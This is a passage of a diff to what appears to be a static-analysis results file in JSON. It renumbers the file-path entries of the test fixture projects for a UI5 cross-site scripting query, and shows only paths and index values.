-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/controller/App.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 183
             }
@@ -7861,7 +7861,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 184
             }
@@ -7887,7 +7887,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 185
             }
@@ -7913,7 +7913,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/util/Helper.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/controller/App.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 186
             }
@@ -7939,7 +7939,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/view/App.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 187
             }
@@ -7965,7 +7965,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 188
             }
@@ -7991,7 +7991,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/util/Helper.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 189
             }
@@ -8017,7 +8017,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/view/App.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 190
             }
@@ -8043,7 +8043,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 191
             }
@@ -8069,7 +8069,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 192
             }
@@ -8095,7 +8095,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 193
             }
@@ -8121,7 +8121,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 194
             }
@@ -8147,7 +8147,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 195
             }
@@ -8173,7 +8173,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 196
             }
@@ -8199,7 +8199,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 197
             }
@@ -8225,7 +8225,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 198
             }
@@ -8251,7 +8251,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 199
             }
@@ -8277,7 +8277,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 200
             }
@@ -8303,7 +8303,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 201
             }
@@ -8329,7 +8329,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 202
             }
@@ -8355,7 +8355,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 203
             }
@@ -8381,7 +8381,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 204
             }
@@ -8407,7 +8407,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 205
             }
@@ -8433,7 +8433,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 206
             }
@@ -8459,7 +8459,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 207
             }
@@ -8485,7 +8485,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 208
             }
@@ -8511,7 +8511,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 209
             }
@@ -8537,7 +8537,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 210
             }
@@ -8563,7 +8563,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 211
             }
@@ -8589,7 +8589,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 212
             }
@@ -8615,7 +8615,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 213
             }
@@ -8641,7 +8641,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 214
             }
@@ -8667,7 +8667,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 215
             }
@@ -8693,7 +8693,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 216
             }
@@ -8719,7 +8719,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 217
             }
@@ -8745,7 +8745,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 218
             }
@@ -8771,7 +8771,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 219
             }
@@ -8797,7 +8797,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 220
             }
@@ -8823,7 +8823,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 221
             }
@@ -8849,7 +8849,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 222
             }
@@ -8875,7 +8875,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 223
             }
@@ -8901,7 +8901,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 224
             }
@@ -8927,7 +8927,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 225
             }
@@ -8953,7 +8953,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 226
             }
@@ -8979,7 +8979,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 227
             }
@@ -9005,7 +9005,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 228
             }
@@ -9031,7 +9031,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 229
             }
@@ -9057,7 +9057,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 230
             }
@@ -9083,7 +9083,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 231
             }
@@ -9109,7 +9109,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 232
             }
@@ -9135,7 +9135,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 233
             }
@@ -9161,7 +9161,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 234
             }
@@ -9187,7 +9187,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 235
             }
@@ -9213,7 +9213,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 236
             }
@@ -9239,7 +9239,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 237
             }
@@ -9265,7 +9265,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 238
             }
@@ -9291,7 +9291,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 239
             }
@@ -9317,7 +9317,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 240
             }
@@ -9343,7 +9343,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 241
             }
@@ -9369,7 +9369,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 242
             }
@@ -9395,7 +9395,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 243
             }
@@ -9421,7 +9421,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 244
             }
@@ -9447,7 +9447,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 245
             }
@@ -9473,7 +9473,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 246
             }
@@ -9499,7 +9499,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 247
             }
@@ -9525,7 +9525,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 248
             }
@@ -9551,7 +9551,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 249
             }
@@ -9577,7 +9577,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 250
             }
@@ -9603,7 +9603,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 251
             }
@@ -9629,7 +9629,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 252
             }
@@ -9655,7 +9655,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 253
             }
@@ -9681,7 +9681,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 254
             }
@@ -9707,7 +9707,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 255
             }
@@ -9733,7 +9733,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 256
             }
@@ -9759,7 +9759,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 257
             }
@@ -9785,7 +9785,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 258
             }
@@ -9811,7 +9811,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 259
             }
@@ -9837,7 +9837,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 260
             }
